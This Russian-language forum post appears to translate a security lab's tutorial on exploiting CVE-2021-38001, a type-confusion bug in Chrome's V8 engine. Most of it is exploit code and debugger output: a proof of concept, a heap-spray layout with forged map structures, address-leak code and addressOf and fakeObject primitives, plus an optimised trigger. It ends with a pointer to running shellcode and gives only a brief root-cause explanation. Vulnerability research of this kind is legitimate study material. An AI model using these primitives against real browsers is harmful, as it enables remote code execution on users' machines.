• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Изучение эксплойтов V8 с нуля / только смелым покорилось CVE-2021-38001 / (6)

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Автор: Hcamael@Know Chuangyu 404 Lab
Перевод статьи.


Очередное исследование было CVE-2021-38001, номер его ошибки Chrome: 1260577
Соответствующая информация не была обнародована, но мы знаем:
Последняя версии Chrome: 95.0.4638.54
Последняя версии V8: 9.5.172.21

Среда сборки:

Код:
$ ./build.sh 9.5.172.21

Эта уязвимость представлена на турнире Tianfu Cup в 2021 году, и в сети есть только один соответствующий анализ и PoC. :

Код:
import * as module from "1.mjs";

function poc() {
    class C {
        m() {
            return super.y;
        }
    }

    let zz = {aa: 1, bb: 2};
    // receiver vs holder type confusion
    function trigger() {
        // set lookup_start_object
        C.prototype.__proto__ = zz;
        // set holder
        C.prototype.__proto__.__proto__ = module;

        // "c" is receiver in ComputeHandler [ic.cc]
        // "module" is holder
        // "zz" is lookup_start_object
        let c = new C();

        c.x0 = 0x42424242 / 2;
        c.x1 = 0x42424242 / 2;
        c.x2 = 0x42424242 / 2;
        c.x3 = 0x42424242 / 2;
        c.x4 = 0x42424242 / 2;

        // LoadWithReceiverIC_Miss
        // => UpdateCaches (Monomorphic)
        // CheckObjectType with "receiver"
        let res = c.m();
    }

    for (let i = 0; i < 0x100; i++) {
        trigger();
    }
}

poc();

Эта уязвимость в принципе немного сложна для понимания, но по-прежнему можно использовать метод шаблона для записи EXP, но перед настройкой шаблона давайте изучим новую технологию: V8 общая технология heap spray.

Универсальная технология HEAP SPRAY

Код:
a = Array(100);
%DebugPrint(a);
%SystemBreak();

Для просмотра схемы кучииспользуем VMMAP
Код:
0x1f7a00000000     0x1f7a00003000 rw-p     3000 0      [anon_1f7a00000]
    0x1f7a00003000     0x1f7a00004000 ---p     1000 0      [anon_1f7a00003]
    0x1f7a00004000     0x1f7a0001a000 r-xp    16000 0      [anon_1f7a00004]
    0x1f7a0001a000     0x1f7a0003f000 ---p    25000 0      [anon_1f7a0001a]
    0x1f7a0003f000     0x1f7a08000000 ---p  7fc1000 0      [anon_1f7a0003f]
    0x1f7a08000000     0x1f7a0802a000 r--p    2a000 0      [anon_1f7a08000]
    0x1f7a0802a000     0x1f7a08040000 ---p    16000 0      [anon_1f7a0802a]
    0x1f7a08040000     0x1f7a0814d000 rw-p   10d000 0      [anon_1f7a08040]
    0x1f7a0814d000     0x1f7a08180000 ---p    33000 0      [anon_1f7a0814d]
    0x1f7a08180000     0x1f7a08183000 rw-p     3000 0      [anon_1f7a08180]
    0x1f7a08183000     0x1f7a081c0000 ---p    3d000 0      [anon_1f7a08183]
    0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]
    0x1f7a08240000     0x1f7b00000000 ---p f7dc0000 0      [anon_1f7a08240]

С особым пристрастием рассмотрим последнюю часть:

Код:
0x1f7a081c0000     0x1f7a08240000 rw-p    80000 0      [anon_1f7a081c0]

pwndbg> x/16gx 0x1f7a081c0000
0x1f7a081c0000: 0x0000000000040000 0x0000000000000004
0x1f7a081c0010: 0x000056021f06d738 0x00001f7a081c2118
0x1f7a081c0020: 0x00001f7a08200000 0x000000000003dee8
0x1f7a081c0030: 0x0000000000000000 0x0000000000002118
0x1f7a081c0040: 0x000056021f0efae0 0x000056021f05f5a0
0x1f7a081c0050: 0x00001f7a081c0000 0x0000000000040000
0x1f7a081c0060: 0x000056021f0ed840 0x0000000000000000
0x1f7a081c0070: 0xffffffffffffffff 0x0000000000000000

Соответствующая ей структура блока кучи

Код:
0x1f7a081c0000: size = 0x40000
0x1f7a081c0018: heap start address is 0x00001f7a081c2118, there are 0x2118 bytes in the V8 heap structure to store heap structure related information
0x1f7a081c0020: heap pointer, indicating where the heap has been used
0x1f7a081c0028: the size already used, 0x3dee8 + 0x2118 = 0x40000

И еще один макетик:

Код:
pwndbg> x/16gx 0x1f7a081c0000 + 0x40000
0x1f7a08200000: 0x0000000000040000 0x0000000000000004
0x1f7a08200010: 0x000056021f06d738 0x00001f7a08202118
0x1f7a08200020: 0x00001f7a08240000 0x000000000003dee8
0x1f7a08200030: 0x0000000000000000 0x0000000000002118
0x1f7a08200040: 0x000056021f0f0140 0x000056021f05f5a0
0x1f7a08200050: 0x00001f7a08200000 0x0000000000040000
0x1f7a08200060: 0x000056021f0fd3c0 0x0000000000000000
0x1f7a08200070: 0xffffffffffffffff 0x0000000000000000

Структура такая же, как и выше, и ее можно найти в области памяти 0x1f7a081c0000 0x1f7a08240000 rw-p 80000 0 [anon_1f7a081c0], которая состоит из двух куч размером 0x40000 из v8.

Если в это время я запрошу массив размером 0xf700, что в новой версии v8 составляет 4 байта для одного адреса, то это 0xf700 * 4 + 0x2118 = 0x3fd18, что, при повторном выравнивании, является кучей размером 0x40000, давайте проверим.

Код:
a = Array(0xf700);
%DebugPrint(a);
%SystemBreak();

Информация о переменной a получается такова

Код:
DebugPrint: 0x2beb08049929: [JSArray]
 - map: 0x2beb08203ab9 <Map(HOLEY_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x2beb081cc0e9 <JSArray[0]>
 - elements: 0x2beb08242119 <FixedArray[63232]> [HOLEY_SMI_ELEMENTS]
 - length: 63232
 - properties: 0x2beb0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x2beb080048f1: [String] in ReadOnlySpace: #length: 0x2beb0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x2beb08242119 <FixedArray[63232]> {
     0-63231: 0x2beb0800242d <the_hole>
 }

и видим что макет поменялся:

Код:
0x2beb081c0000     0x2beb08280000 rw-p    c0000 0      [anon_2beb081c0]

Размер изменился с 0x80000 на 0xc0000, что является увеличением на 0x40000, как я и ожидал, и адрес поля элементов переменной a составляет 0x2beb081c0000 + 0x80000 + 0x2118 + 0x1 = 0x2beb08242119
В новой версии V8, из-за включенной функции сжатия адресов, адрес, хранящийся в куче, составляет 4 байта, и, основываясь на приведенной выше характеристике кучи, мы можем определить, что младшие 2 байта равны 0x2119
Кроме того, адрес кучи всегда начинается с 0x000000, и в моей среде старшие 2 байта вышеуказанной кучи всегда 0x081c, это значение зависит от того, сколько данных V8 сохранил в предыдущей куче, и это значение не меняется случайным образом, например, в написанном скрипте это значение в основном не меняется. Итак, теперь можно определить действительный адрес: 0x081c0000 + 0x2118 + 0x1 + 0x80000 + 0x40000 * n, n>=0
В более сложной среде количество массивов можно увеличить, а затем установить большее значение, как в одном из следующих примеров.

Код:
big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
      }
      big_array.push(tmp);
}

С помощью этого метода и мы можем определить адрес: 0x30002121, а затем следующий код позволяет нам получить значение u2d(i * 0x100 + j, 0) для отработки i,j:

Код:
var u32 = new Uint32Array(f64.buffer);
getByteLength = u32.__lookupGetter__('byteLength');
byteLength = getByteLength.call(evil);

Функциональность этого метода заключается в получении свойства bytelength переменной типа Uint32Array, которое может быть отлажено для получения представления о структуре переменной типа Uint32Array.

Но почему evil (адрес 0x30002121), рассматривается как переменная типа Uint32Array, ведь при использовании вышеуказанного метода, V8 не проверяет тип переменной? Конечно, нет, приведенный выше код не является полным, полный код также нуждается в подделке структуры карты, адрес мы можем вычислить, и структура карты данных, которые будут проверяться являются флаг флаг для, значение фиксировано, поэтому используйте gdb для проверки структуры карты соответствующих переменных, вы можете подделать его, полный код heap spray следующим образом.

Код:
ut_map = itof(0x300021a1);
  buffer = itof(0x3000212900000000);

  address = itof(0x12312345678);
  ut_map1 = itof(0x1712121200000000);
  ut_map2 = itof(0x3ff5500082e);
  ut_length = itof(0x2);
  double_map = itof(0x300022a1);
  double_map1 = itof(0x1604040400000000);
  double_map2 = itof(0x7ff11000834);

  big_array = [];
  for (let i = 0x0; i < 0x50; i++) {
      tmp = new Array(0x100000);
      for (let j = 0x0; j < 0x100; j++) {
          tmp[0x0 / 0x8 + j * 0x1000] = ut_map;
          tmp[0x8 / 0x8 + j * 0x1000] = buffer;
          tmp[0x18 / 0x8 + j * 0x1000] = itof(i * 0x100 + j);
          tmp[0x20 / 0x8 + j * 0x1000] = ut_length;
          tmp[0x28 / 0x8 + j * 0x1000] = address;
          tmp[0x30 / 0x8 + j * 0x1000] = 0x0;
          tmp[0x80 / 0x8 + j * 0x1000] = ut_map1;
          tmp[0x88 / 0x8 + j * 0x1000] = ut_map2;
          tmp[0x100 / 0x8 + j * 0x1000] = double_map;
          tmp[0x180 / 0x8 + j * 0x1000] = double_map1;
          tmp[0x188 / 0x8 + j * 0x1000] = double_map2;
      }
      big_array['push'](tmp);
  }


Эта же идея может быть использована в последующих эксплойтах для подделки переменной для массива doule или массива obj.

Шаблонизируем по-быстренькому

Далее пришло время снова установить шаблон. На данный момент не будем беспокоиться о причине уязвимости, принципе работы уязвимости или чем-то еще, давайте напишем наш exp с помощью PoC.

PoC можно свести к следующему.

Код:
import('./2.mjs').then((m1) => {
    var f64 = new Float64Array(1);
    var bigUint64 = new BigUint64Array(f64.buffer);
    var u32 = new Uint32Array(f64.buffer);

    function d2u(v) {
        f64[0] = v;
        return u32;
    }
    function u2d(lo, hi) {
        u32[0] = lo;
        u32[1] = hi;
        return f64[0];
    }
    function ftoi(f)
    {
        f64[0] = f;
        return bigUint64[0];
    }
    function itof(i)
    {
        bigUint64[0] = i;
        return f64[0];
    }
    class C {
        m() {
            return super.x;
        }
    }
    obj_prop_ut_fake = {};
    for (let i = 0x0; i < 0x11; i++) {
        obj_prop_ut_fake['x' + i] = u2d(0x40404042, 0);
    }
    C.prototype.__proto__ = m1;
    function trigger() {
        let c = new C();

        c.x0 = obj_prop_ut_fake;
        let res = c.m();
        return res;
    }
    for (let i = 0; i < 10; i++) {
        trigger();
    }
    let evil = trigger();
    %DebugPrint(evil);
});

Запустив PoC, вы можете увидеть, что конечным результатом является: DebugPrint: Smi: 0x20202021 (538976289), переменная типа SMI со значением 0x20202021, которая хранится в памяти в два раза больше своего значения: 0x20202021 * 2 = 0x404042, что является значением, которое мы установили в PoC .

Написание кода HEAP SPRAY

Добавьте наш код heap spray в PoC (вместе с макетом кучи).

Код:
a = [2.1];
b_1 = {"a": 2.2};
b = [b_1];
double_array_addr = 0x082c2121+0x100;
double_array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
ptr_array_addr = 0x08242119;
ptr_array = new Array(0xf700);
ptr_array[0] = a;
ptr_array[1] = b;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(double_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = double_array_map0;
big_array[0x108/8] = double_array_map1;

Где 0x082c2121 - адрес big_array[0], а 0x08242119 - адрес ptr_array[0].

Тогда адреса карт переменной утечки a и переменной b такой:

Код:
let evil = trigger();
addr = d2u(evil[0]);
a_addr = addr[0];
b_addr = addr[1];
console.log("[*] leak a addr: 0x"+hex(a_addr));
console.log("[*] leak b addr: 0x"+hex(b_addr));
big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
double_array_map = evil[0];
big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
obj_array_map = evil[0];
console.log("[*] leak double_array_map: 0x"+hex(ftoi(double_array_map)));
console.log("[*] leak obj_array_map: 0x"+hex(ftoi(obj_array_map)));

Правым хуком по addressOf

Код:
function addressOf(obj_to_leak)
{
    big_array[0x008/8] = u2d(b_addr - 0x8, 0x2);
    b[0] = obj_to_leak;
    evil[0] = double_array_map;
    let obj_addr = ftoi(b[0])-1n;
    evil[0] = obj_array_map;
    return obj_addr;
}

Обманный маневр на fakeObj

Код:
function fakeObject(addr_to_fake)
{
    big_array[0x008/8] = u2d(a_addr - 0x8, 0x2);
    a[0] = itof(addr_to_fake + 1n);
    evil[0] = obj_array_map;
    let faked_obj = a[0];
    evil[0] = double_array_map;
    return faked_obj;
}

После этого остается только следовать шаблону, изменить смещения и выполнить шеллкод.

Положим оптимизацию на лопатки

PoC также можно оптимизировать различными способами. Иногда нет необходимости придерживаться шаблона, так как мы можем подделать данные структуры map, как мы видели выше, поэтому, естественно, не имеет значения, является ли она картой double массива или картой массива obj, поэтому нет необходимости в утечке данных.

Наш код heap spray может быть оптимизирован несколькими способами.

Код:
double_array_addr = 0x08282121+0x100;
obj_array_addr = 0x08282121+0x150;
array_map0 = itof(0x1604040408002119n);
double_array_map1 = itof(0x0a0007ff11000834n);
obj_array_map1 = itof(0x0a0007ff09000834n);
ptr_array_addr = 0x08282121 + 0x050;
big_array = new Array(0xf700);
big_array[0x000/8] = u2d(obj_array_addr, 0);
big_array[0x008/8] = u2d(ptr_array_addr, 0x2);
big_array[0x100/8] = array_map0;
big_array[0x108/8] = double_array_map1;
big_array[0x150/8] = array_map0;
big_array[0x158/8] = obj_array_map1;

где big_array[0x100/8] - наша поддельная карта двойного массива, а big_array[0x150/8] - наша поддельная карта массива объектов.

Функция addressOf и функция fakeObj также подверглись оптимизаций.

Код:
function fakeObject(addr_to_fake)
{
    big_array[0x058/8] = itof(addr_to_fake + 1n);       
    let faked_obj = evil[0];
    return faked_obj;
}

function addressOf(obj_to_leak)
{
    evil[0] = obj_to_leak;
    big_array[0x000/8] = u2d(double_array_addr, 0);
    let obj_addr = ftoi(evil[0])-1n;
    big_array[0x000/8] = u2d(obj_array_addr, 0);
    return obj_addr;
}

Татами для PoC

Код:
function triger_type_confusion() {
    return obj;
}
obj_or_function = 1.1;
class C extends triger_type_confusion {
  constructor() {
      super();
      obj_or_function = super.x;
  }
}

obj_prop_ut_fake = {};
for (let i = 0x0; i < 0x11; i++) {
  obj_prop_ut_fake['x' + i] = itof(0x30002121);
}
obj = {
  'x1': obj_prop_ut_fake
};
C['prototype']['__proto__'] = q1;

for (let i = 0x0; i < 0xa; i++) {
  new C();
}
new C();
fake_ut = obj_or_function;

Хотя по сравнение с нашим PoC на Github "падал немного громче" но принцип все тот же.

Принцип уязвимости

Причина этой уязвимости несколько сложнее, и требует некоторых дополнительных знаний о принципах проектирования V8.

Здесь я лишь вкратце опишу проблему уязвимости.

В самом начале выполните 10 раз new C() но оптимизации доступа к атрибутам не получится, из-за Lazy feedback allocation, super в это время - m1, но после 10 выполнения начинается оптимизация Inline Caches, и из-за ошибки inline cache в коде значение super становится переменной c: let c = new C();,
после чего поток будет выглядеть следующим образом.

1. Порядок значений super.x следующий: JSModuleNamespace -> module(+0xC) -> exports (+0x4) -> y(+0x28) -> value(+0x4)
2. Из-за Lazy feedback allocation триггерная функция запускает Inline Caches после 10 выполнений. Для ускорения выполнения кода порядок, в котором super.x принимает значения, транслируется непосредственно в ассемблерный код.
3. Ошибочный код при трансляции ассемблерного кода переводит super в переменную c.
4. По адресу c+0xC хранится obj_prop_ut_fake
5. obj_prop_ut_fake+0x4 хранит свойства переменной, которая является obj_prop_ut_fake.xn
6. obj_prop_ut_fake.properties + 0x28 получает адрес структуры HeapNumber.
7. Адрес HeapNumber + 0x4 имеет значение u2d(0x404042, 0)

Ссылка
  1. https://bugs.chromium.org/p/chromium/issues/detail?id=1260577
  2. https://github.com/vngkv123/articles/blob/main/CVE-2021-38001.md
  3. https://v8.dev/блог/v8-lite
  4. https://mathiasbynens.be/notes/shapes-ics#ics
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх